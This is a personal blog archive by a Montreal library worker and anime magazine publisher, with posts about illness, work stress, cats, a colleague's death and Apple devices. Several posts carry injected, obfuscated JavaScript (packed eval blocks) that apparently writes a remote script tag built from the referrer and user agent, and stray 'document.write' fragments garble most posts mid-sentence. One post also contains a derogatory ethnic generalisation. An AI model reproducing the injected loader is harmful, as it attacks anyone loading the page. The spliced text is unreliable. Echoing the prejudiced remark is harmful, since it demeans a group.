Life

Worse day in a library

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Today I experienced the worse day ever while working in a library.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ettzy|var|u0026u|referrer|tsftd||js|php’.split(‘|’),0,{}))

(More after the jump)

For starter, document.write(“”); I was working for the second time only in a library where I am really not at ease (so far I’ve worked in fifteen of the forty-four library of the Montreal libraries network and, beside the computerized catalog, every library is completely different from the others). The work-flow behind the counter is awkward and complex and, despite the accommodating attitude of my co-workers, I was really feeling overwhelmed, like a bumbling idiot (Maybe I was simply tired?). Well, I think that the Montreal libraries network is a “network” only by name and that greater effort should be made to uniformize all the libraries. It is particularly hard for the people who do lots of replacements in many different libraries. It is very comfusing and hard to remember all the specifics of a particular library…

On top of that I was almost assaulted by a user. A mistake was made with his internet reservation and it was not possible to give him access to a computer. The guy (of North African or Middle-Eastern origin) started to insult us (he called me a fag — of course, to a super macho guy, if you’re polite and deferent you must be a fag! — and made some racist comments) and eventually became rather agressive (he walked behind the counter and tried to pick up a fight with me but I withdraw further behind the counter and a librarian interposed herself between us). He was escorted out of the library. The guy was behaving awkwardly and smelled of alcohol (beware of drunk arabs!). I was told it was not the first time he caused problems and even assaulted another user before. Surprisingly, the police was never called, he was never banned from the library or his library privileges never cancelled (although, after I remarked that with such behavior his privileges should be revoke, they were). After the first problem, the librarian in charge simply “talked” with him (like a school principal to a student). I think most librarian are really too lenient with discipline (in some libraries people are not even asked to keep their voice down and it can become really noisy!) and there is no clear guidance on how to react with violent people. Something should really be done about that.

Sickening cycle

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My wife and I are (yet again) down with the cold / flu / allergies (or maybe a combination of all three). I have a sore throat, document.write(“”); ear ache and doesn’t feel good in general. I feel a little feverish from time to time. It’s probably the result of the constantly changing weather—warm, rain, cold—and the air conditioning still running in many places. The days (and nights) are definitely getting much colder. We haven’t got a summer yet and fall is already getting close…

It started friday. Then I had a good night sleep and felt much better. My throat didn’t hurt anymore but I was still quite congested. However, tonight (sunday) my entire body is hurting. When will this end? I just hope it won’t last too long because I have so many things to do that it makes me want to cry. I really don’t want to be bedridden for a while. I’ll try to get a good long night of sleep tonight again…

I hope my immune system will recover before we get that second wave of the H1N1 the scientists say we might get sometime this fall…

It seems that each time I am starting to feel better and gear up to spend my energy on something productive I am getting sick again. And when it’s not my health there’s always something coming up to do at the last minute (some phone calls or emails requesting attention, a computer problem, etec.). With the day job keeping me busy and tired, all the household stuff to do on my days off (laundry, clean up, visit a museum to keep a promise, etc) and all those festivals or conventions to cover, it has been hard to move forward with production.

The guilt coming from all those tasks that I don’t have time to do is pilling up on all the stuff that is on my mind lately (the new working schedule to prepare for, the MWFF, the computer update, web page, blogging, health problems, etc.) so my head really feels foggy and tired.

The good news is—after losing the secure block of working hours that I had at two libraries on sunday and monday—I was able to get a three-day block at the Plateau Mont-Royal library for the Fall schedule. It will offer me a little job security (at least for the Fall) and hopefully it will allow me to fall back in a routine that will be more productive and less stressful. Not working in a different library from one day to another and in a closer place (half-an-hour of public transport instead of one hour-and-half) will certainly help.

Repartir la machine… à écrire

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Le travail en bibliothèque se fait un peu moins envahissant (quoi que combler mon horaire demande encore beaucoup d’efforts mais je travaille à des bibliothèques plus proche et perd donc moins de temps en transport—je retrouve également un peu de ma forme mentale et physique mais ce que l’âge prend est perdu à jamais) et comme les choses semblent se stabiliser un peu j’essai de me remettre à écrire un peu plus (dans mon carnet de notes et en ligne). J’ai toutefois encore beaucoup de difficulté à me concentrer et écrire représente toujours un labeur très lent. Une simple petite critique minuscule comme celle de YUL 871 me prend encore tout un après-midi (bon, document.write(“”); ça inclus la recherche documentaire et d’images, ainsi que la mise en page, mais tout de même!). Les retards de production du magazine (si frustrant et désespérant qu’ils soient) me motivent, de même que d’assister à la WorldCon (et relire mes vieux textes et projets) m’a aussi beaucoup stimulé. Enfin, à force de m’y mettre et d’écrire tout ce que je peux (on n’écrit pas toujours ce que l’on veut), ça semble me revenir peu à peu… Qui sait, peut-être pourrais-je même un jour me remettre à la fiction.

Panel cancellation

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I deeply apologize to all the people who came to my Otakuthon panel for nothing.

Unfortunately, document.write(“”); my wife got sick and I ended up spending several hours in the emergency ward of an hospital thus preventing us to attend the panel. I am really sorry for this.

My life is too much

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Il y a vraiment trop de choses qui préoccupe mon esprit ces derniers temps. J’ai l’impression que la tête va m’éclater!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efhkk|var|u0026u|referrer|thahr||js|php’.split(‘|’),0,{}))

J’en ai marre…

d’avoir une liste de choses à faire plus longue qu’il n’y a d’heures dans une journée, document.write(“”);
d’entendre autant de bêtises à la télé et ailleurs,
d’être toujours malade avec un mal au dos ou une grippe que je traine depuis je ne sais plus trop quand,
de courrir tout le temps et d’être fatigué,
de culpabiliser pcq je prend une de mes journée de congé pour passer du temps avec ma femme,
de me faire réprimander pour avoir “flusher” une toilette,
de ne pas avoir le temps d’avoir le temps,
de ne pas pouvoir écrire ou lire comme je veux,
de ne pas pouvoir faire ce qu’il me plait, quand ça me plait,
de ne plus me rappeller je que je voulais dire ou faire,
de paniquer à chaque fois qu’on annonce de l’orage pcq les pluies abondantes font refluer les égouts dans le sous-sol,
de perdre mon temps en transport en commun,
de prêcher dans le désert,
de stresser sur les délais de production,
de toujours m’inquiéter pour la santé de mes chats,
de travailler à douze places différentes ce qui fait que je me rappelle jamais où j’en suis,
de vivre dans un apart qui a l’air d’un taudis et de ne pouvoir rien y faire,
de voir ma femme à peine une heure par jour pcq nos horaires ne concordent pas,
des gens à l’esprit excessivement bureaucrate,
que le temps passe trop vite et que je me demande où les années sont passées…

Twice as busy

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Having two jobs is more tiring and difficult that I thought it would (the good side of it: I’ve already lost twenty pounds!). There’s so many stuff to do and so little time. That’s why I haven’t written much lately. When I come back from the day job, document.write(“”); the one that pay most of the rent and all, I am tired and only want to crash and sleep. It is difficult to write — harder still to concentrate — but I manage to do some work anyway. But certainly not as much as I would like to and this add to the stress. However, now the priority is to pay the rent, nurture my health and spend time with my loved ones…

If the health stay good, I’ll try to blog more regularly.

Dilemma, dilemma

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I have so many things to do and now I am wondering if I should lay down my thoughts more privately on paper or publicly on a blog. Should I write in English, document.write(“”); the more common language, or in French, my native tongue. Of course, the solution is always to compromise. Do some writing on paper, some on blogs. Some in English and some in French. But it is becoming more and more essential that I commit my thought into writing because I keep forgetting so many things. Sometimes I don’t even remember what I did yesterday. The writing become a second memory…

Sign of Time

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I thought my subscription to the Canadian edition of Time magazine was over since I stopped receiving it around Christmas. But I was under the impression that I should have had a few more months in my subscription. This week, document.write(“”); two months later, I got a letter from the publisher explaining that the Canadian edition of Time magazine ceased publication at the end of December and that I will be receiving Maclean’s magazine for the remaining of my subscription, starting in a couple of months.

In a way I am not surprised at all of this situation. The magazine industry and its distribution are in a really bad shape. Also, newspapers are closing right and left. The industry will have to adapt to new forms of distribution as well as to a new business model that involves the internet. It will takes a little experimenting at first, but I am sure that it will survive one way or another.

Sick of being sick

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After suffering a near-burn out and painful back problems now I have to endure a bronchitis. I am realy tired of being sick. It is already hard to be working two jobs at the same time, document.write(“”); but when I am sick all I do after coming back from work is eat and going to sleep. I cannot blog half of what I would like to say. Luckily I have one or two days off, so I manage once a week to answer some emails, put some order in my to-do list and write one or two articles–but I also still need to rest so I read a little, watch TV and sleep some more. This is rather frustrating. Hopefully, I’ll feel better soon and be able to do more.

Last call to adopt black cats

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This is the last call for those interested in adopting two back cats (a year-old mother and her five-month male offspring). Since I couldn’t find any place for them in a no-kill shelter, document.write(“”); I will bring them to a standard shelter (SPCA or Berger Blanc) in a couple of weeks if I still haven’t found a foster home for them. Unfortunately, due to over-crowding, those shelters often have recourse to euthanasia if the pets cannot be adopted quickly. But I have no choice, I cannot keep them forever (I already have two cats). Why do people dislike black cats? They are as cute as any other cats.

Backlog

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Sorry for not blogging lately. I finally got back my physical and mental strength after being repeatedly sick, document.write(“”); but my bad luck struck again and I found myself on my back. I have no idea what caused it (shoveling? slipping on icy sidewalks? Bad sitting position?) but I had a terrible back pain that would not go away and I couldn’t sit in front of the computer for more than a few minutes at a time (just enough to check emails and news).

The last week was particularly painful since I was working fulltime in a library, replacing someone on sick leave. Fortunately, I had to stand most of the day, so i was less bothered by the pain. I guess the exercice did me good (as well as a regular intake of pain-killer — I felt like Dr House!) and I am now feeling a little better.

We found a loving home for our little refugee kitten Mitsy (he’s so cute I had no doubt that someone would adopt him). I was hoping to place sweetpea in a pet shop, but it didn’t work out. Therefore we are still looking for caring people to adopt our two refugee black cats.

Slippery

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Apparently the guy managing the city’s blue collars made the mistake of putting the people who used to take care of the ice rinks in charge of cleaning the sidewalks. Now they are extremely slippery. I know that City Hall talked about cutting cost by stopping cleaning sidewalks, document.write(“”); but there’s a limit! If I hurt my back once more by slipping I think I’ll sue them!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kztih|var|u0026u|referrer|teitf||js|php’.split(‘|’),0,{}))

On top of that the landlord didn’t repair the front-door stairs and they keep getting dangerously icy and slippery. I am spending a fortune in salt just to increase the chances of NOT breaking my neck each time I’m going out.

Image © Acreage Living.

Emru Townsend dies at 39

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Emru Townsend died of leukemia on November 11. He was only 39 years-old.
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We have already talked about his diagnosis, document.write(“”); his quest for a bone marrow donor and his successful transplant. Unfortunately, his cancer was too aggressive and the leukemia didn’t go into remission despite the successful transplant. Many have already written his eulogy and obituary (ANN, The Gazette, PC World), so there’s no need for me to write about that. However, I still wanted to say a few words about him.

I didn’t know him very well, but I wish we’d stayed more in contact. We worked on a few projects together in the late 80s and early 90s, but recently we were only meeting by chance in conventions and festivals. He started collaborating with Protoculture Addicts with issue #2 (providing ideas, news blurbs and working as proofreader) and we started together the first anime club of the University of Montreal. After a while Emru drifted away to work on his many projects (he always had new ideas and projects) and I took care of the anime club alone. He contributed only a few articles in the magazine (mostly one on Project A-ko in #4 and one on Akira in #7), but his work was excellent and he pitched in many ideas and always provided encouragement.

Quickly after starting working with us, he requested to be made partner. I answered that I would like him to work with us at least a year before considering that. He couldn’t wait, so he left and started his own magazine, FPS. I always felt that he never forgave me for that. Later, he heavily criticized the quality of our Anime Guide book, blaming me personally (and my french-canadian origins) for the book’s flaws (despite the fact that I only wrote the presentation and supervised the project, hiring instead the best Italian translator and the best English editor that we could afford). It was probably a philosophical difference: I guess Emru was a perfectionist while I am rather a pragmatist (after having worked six years to get that book published I wanted the information—the data—available to anime fans and scholars as soon as possible even if I knew that its form and presentation were quite imperfect). However, despite those differences, I never felt animosity between us and I always admired the quality of his work and dedication.

He was a great guy and he will be sorely missed by all animation fans. I want to express my sincere condolences to his family and friends.

You can visit Emru’s Blog, Facebook group and web hub to learn more about his work.

SADness

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I feel a little SADness. Not that I am really sad (although someone I knew did die last week), document.write(“”); but I feel affected by the Seasonal Affective Disorder. Like if I was not depressed enough, now the lack of sunlight is prolonging the misery. It seems that I am trying to compensate by seeking exposure to the tube… I am really watching too much teevee and I should cut back on the series addiction—but it does improve my mood. I feel like I’m sucking up the drama of those characters’ very existence to replenish my emotional energy and bring back to life my dried up soul. I still feel tired, physically and mentally weak, but my Qi is slowly coming back.

After constantly beeing on the verge of burn-out for the last few years, I really had to take a month or so of vacation. To recharge my batteries. I fell in a strange torpor, and the world was flashing by me like if it was on fastforward. It was quite strange. It was like if I was waiting for something to happen. Now that I start feeling better (but I still need to really shape up, go out to exercice and see some people) I really have to speed up things and get back on track. The work is pilling up and I am getting way behind schedule. But everything is slowly getting back together now.

I am getting behind even on my blog. I promised myself that I would “review” every book I read and every movie I watch and I did not. Although not everything is worth sharing my opinion, I want to try making short comments (even if only one hundred words) about most of my reading and viewing. Just to keep the mind and the writing skill sharp. So I’ll try to slowly catch up.

Winter is really close-by. At the end of October we got our first snow flurries and last night we got snow on the ground for the first time. I like winter. Everything seems to slow down and it all becomes so quiet and beautiful.

To my American friends and readers I would like to wish a nice Thanksgiving. For my part, I am grateful to live in such a great and uneventful country (Canada). I am grateful to my beautiful wife. I am grateful to have always worked in something interesting. Be thankful for what you have, ’cause you never know what could happen. Good night and good luck.

Life goes on

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I feel so tired, document.write(“”); empty, lazy and sleepy that it’s difficult to get anything done (and yet I keep looking for more occupations to employ my time!)… I also feel deserted and alone. Where are everyone? It’s so depressing… That must be the change of the season. The leafs have started to fall en masse and it’s getting colder and colder. It is supposed to freeze for the first time tonight. The flowers that kept blooming all summer will probably die.

Nevertheless, I feel there’s some nice change coming soon. Is it just winter or maybe I will really turn a new leaf? I think it’s good to keep some positive thinking and assert that “something” nice IS coming. Soon.

Post-con comments

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It’s October already. Time goes by so fast… It is also slowly getting colder…
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I am so tired… Convention and travelling really seem to drain me lately. It’s either because I’m really getting old or I’m really out of shape. I guess I need to get out and exercice more.

After all the LifeCast app is not that good. In a way, document.write(“”); it is better to use the browser Safari to edit the blog directly on Blogger. In any case, blogging on the iPod is not easy since we have to deal with the tiny keyboard (but it’s way better than sending SMS on a cellphone!).

The iPod was really useful when I was away. And there are so many fun apps (games, eReader, dictionaries, etc., playing music and video) that it’s difficult to keep away from the device. But it is mainly useful to keep in touch with the world (internet, emails, weather, stocks, maps, tv schedule, wikipedia, airport info, election polls, etc.) and people (Facebook, AIM, Twitter, blogging, etc.). Now that I have it, I don’t know how I could ever live without it. Nevertheless, it’s not easy to get a reliable wifi connection even if I paid a $10 monthly subscription to Boingo. There lies the big advantage of the iPhone over the iPod (but at what cost!). However, as I predicted, VOIP apps are starting to appear and, with the release of the earphones with remote and mic later this month, we’ll be able to make VOIP calls via wifi! I can’t wait to try that.

On The Road

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I slept for just a few hours before driving to Burlington Airport. We got stuck at the border for one hour because of a “by-the-book” custom officer. The plane from Burlington to Baltimore was small and I almost felt claustrophobic. But I had a window seat and could admire the view… Briefly before we got into the clouds. After a nearly two-hour stop, document.write(“”); we left again for Atlanta in a slightly bigger plane. Beautiful clouds. I took some pictures. Now we are waiting for our next flight. Three hours to eat, recharge the iPod and blog. It’s tiring but fun. I’m visiting places I’ve never seen before. More later.

Posted with LifeCast

Emru gets his transplant

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Animation and technology writer/blogger Emru Townsend, document.write(“”); who was diagnosed with leukemia in late 2007 but found a bone marrow donor match last Summer after a long campaign to encourage donors from ethnic communities, has finally received his transplant this week [hit the links for details]. Now he has to wait two to three weeks to see if the graft takes well on his body. But he is not out of the wood yet, as the first 100 days are crucial since his body has to rebuild its immune system.

Congrats for the transplant, Emru, and we wish you the best for the months to come.

You can visit Emru’s Blog, Facebook group and web hub to leave him words of encouragement.

The Blahs

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One of my friends, who’s going to HK for several months for his job, was throwing a farewell party this week-end. Unfortunately, I was so busy converting PDF files and coding to update the web pages that I totally forgot about it. I really hate myself for that since it would have been a nice occasion to decompress and meet a bunch of old friends… And Buddha knows I need to get out and see more people!

Lately I’ve been really tired. I’ve been running around (and round) all summer. And now there’s still so many stuff to do that it’s rather discouraging. I hate it when all the stuff to do and all the ideas are bumping into each others in my head making me feel so overwhelmed that I tilt like an old pin-ball machine and lie down paralysed, unable to do anything.

Anyway. I guess I’ll rest for tonight and try to tackle the tasks one by one…

Montreal’s Apple Store opening friday

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Montreal’s Apple Store, document.write(“”); located at 1321 Ste-Catherine Ouest (just beside the Ogilvy), will open Friday at 5PM. After that the opening hours will be Mon.-Fri.: 9am – 9pm, Sat.: 9am – 5pm and Sun.: noon – 5pm.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhkbr|var|u0026u|referrer|aheay||js|php’.split(‘|’),0,{}))

Unfortunately, I’ll be busy friday so I won’t be able to be there for the opening. However, today I was going downtown to check the PO box and run a few errands, so I couldn’t resist to go have a look:


Employees were busy putting the final touch to the store for friday’s opening:


I was also surprised to discover that Montreal’s policemen are not riding segways, but a kind of 3-wheel scooter. Cool:


Please excuse the bad pictures quality. I wasn’t carrying my camera so I had to use my cellphone to take those pictures.

Video Experimentation

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstnf|var|u0026u|referrer|hkryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtday|var|u0026u|referrer|rzntd||js|php’.split(‘|’),0,{}))
Earlier in May, document.write(“”); I got myself a Canon Powershot S5IS as birthday present. It’s quite an improvement on my FujiFilm S 3100: I’ve doubled the zoom (12x) and the megapixels (8), it has face detection and image stabilisation, a bigger & adjustable LCD monitor, lots of shooting mode (including manual) and the flash is a little more powerful — but the camera also has a hot-shoe to add an external flash when necessary. I’ll do a full review when I have a little more time. All I can say for now is that it takes pretty nice pictures. So far, I tried it at one convention, a couple of family events, a walk at the Botanical Garden and I am very satisfied.

The zoom is quite impressive:

It also takes good video (with stereo sound!) which I couldn’t do with the Fuji (poor quality video and no sound). I have just started experimenting with video. I still have to try doing some editing and I am looking for the best way to showcase my footage to family and friends. On YouTube? On my .Mac web gallery (with .Mac/MobileMe increasing to 20 Gb of storage that could be a solution)? I’ll do some more tests and I’ll see.

First, the test on YouTube. The first thing I notice is that the encoding dramatically reduce the resolution. It’s rather disappointing. Anyway, judge for yourselves. Here’s a family of ducks spotted last friday at the Montreal Botanical Garden (just beside the Japanese Pavillion):

[Updated 2008/08/25 with the zoom pic]

Bonne Saint-Jean Baptiste!

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C’est la Saint-Jean pis je suis encore devant l’ordinateur à travailler… un vrai bourreau de travail! Mais j’m’enverrais bien un bière par example!

It’s the Saint-Jean (one of our National Holidays) and I’m still here working… I guess I’m a workaholic. I’d rather have a couple shots of vodka!

Bonne Saint-Jean tout l’monde!

Alleluia Time Machine!

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A couple of weeks ago I bought a new, document.write(“”); bigger, network drive as the hard drive plugged to my Airport Extreme was already getting full. This allowed me to free a drive for Time Machine. I had the new Mac OS (10.5, aka Leopard) installed on both my iMacs for months, but never got around setting up Time Machine, Mac’s new automatic backup software, because I didn’t have any spare hard drive. I first set up Time Machine on my main iMac (Intel latest generation). That’s the one I use for work, so it was my first priority. It was quite easy to install: I had just to plug the spare drive (aptly named Tardis) on the USB port and turn Time Machine on. It immediately started to make the first, full backup. After that it makes hourly incremental backups. “Time Machine saves the hourly backups for the past 24 hours, daily backups for the past month, and weekly backups for everything older than a month.” It does that until the drive is full and then it erase the backups and starts again. It really gives you a sense of security. But if backups make you feel safe, it is mostly because you think that you will probably never need it anyway…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heaze|var|u0026u|referrer|dfihb||js|php’.split(‘|’),0,{}))

A few days later, being quite satisfied with how the software was working (mainly because it was not slowing the system–and therefore my work–when doing backups), I decided to implement Time Machine on my secondary iMac (a pre-iSight G5 that I use for backup, research, testing and download). First, I had to free another, smaller, hard drive by moving content around (to Navi, the network drive plugged to Airport Extreme, and to Tardis). Since it was a smaller drive, I also had to set up TM to exclude some, less important, folders (Music, Movie), while doing its backup. Once turned on, Time Machine started doing it backup quietly and flawlessly. After a while you forget about it. It’s part of the system. It’s just a safety net…

About a week later, I noticed that my secondary iMac was getting quite slow. I checked to see if one of the softwares was dragging the system down, but couldn’t find anything wrong. I rebooted just in case, but nothing changed. The system was still slow to respond to any command. So, last Thursday, in frustration, I decided to turn the computer off, thinking of doing more tests later. When I turned it on again on Good Friday afternoon, it refused to boot. I tried several time and all I was getting was the Apple logo, the spinning wheel, the fan was starting to run like crazy after a while, and sometime ending up with a kernel panic (the multilingual screen of death). My computer was dead! I was busy and there was nothing much I could do, so I left it alone.

Finally, Sunday I had a little spare time (it was Easter, my wife was working and the big family dinner would not happen before next week) so I decided to do some tests. I succeeded to boot the iMac with the Leopard install disk. It could be either some corruption in the OS software or some problem with the hard drive. First, I checked the drive with Disk Utility. I thought that doing some repair on the disk would probably solved the problem. Wrong! Disk Utility gives me right away a “Fatal Hardware Error” on the drive. Bad news… So the drive is dead. It is confirmed by the Apple Hardware Test that gives an error code on the SATA bus. Now I know what to do to resuscitate my iMac (which is quite appropriate on Easter!) Unfortunately, all repair shops and computer stores are closed until Monday. It leaves me some time to do a little thinking. My AppleCare warranty has already expired in December, so bringing it to the repair shop will probably be quite costly. On the other hand, the hard drive on this model is still easily accessible so I could simply purchase a new drive and install it myself. If it doesn’t work I could still bring it to the repair shop. So I download the “how-to” instructions from Apple website, check my iMac specs to make sure which drive I need and go to Microbytes to purchase a new (twice bigger) hard drive. It takes fifteen minutes to install the new drive, reboot with the Leopard install disk and reformat the drive. Now comes the big test for Time Machine. It takes a couple of hours to restore the iMac with the Time Machine backup, but it finally reboot and looks like nothing ever happened! Alleluia Time Machine!

I’ve never seen a backup system so easy to use! If you have a Mac and are running Leopard, the safest thing to do is to make sure that Time Machine is on. You never know when you’ll need it.

Best wishes for 2008

/ Clodjee / Leave a comment

Sorry, document.write(“”); I’ve not blogged much since last fall. I’ve been so busy with work, trying to keep the magazine on schedule, attending NYAF, etc.

I’ll do my best to resume blogging regularly as soon as possible. I really have to organize by time better and to go out more often. Lately, going out was mostly putting the garbages on the sidewalk! I wish I could see more people. Not easy when I am chained to my computer…

In the meantime, I wish you all the best for 2008!

Mail Snafu

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I knew the U.S. Postal Service can sometimes be bad and that a recent survey revealed that Americans were rather weak in geography — but I didn’t know to what extend. A parcel that I recently mailed to a customer in Israel came back — with a stamped note saying “wrong address” in Spanish — from Costa Rica !!! That’s what we called really lost! But at least it came back…

Telemarketing Hell

/ Clodjee / 2 Comments

Tired of getting harassed by telemarketers who want to sell you stuff when you are busy doing something else (like eating or sleeping)? Always wondered who the hell can call you twice a day for a week without leaving a message and your caller ID simply says “unavailable”? Are you annoyed by phone calls that, document.write(“”); when you pick up the phone, there’s nothing on the line?
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afeft|var|u0026u|referrer|dhkfk||js|php’.split(‘|’),0,{}))

I just found this great website, 800 Notes, where people can leave comments on those annoying unidentified phone numbers usually used by telemarketers. By exchanging information, you can figure out who they are and what to do to make those phone calls stop. I like it.

You can also find some information from the CRTC here.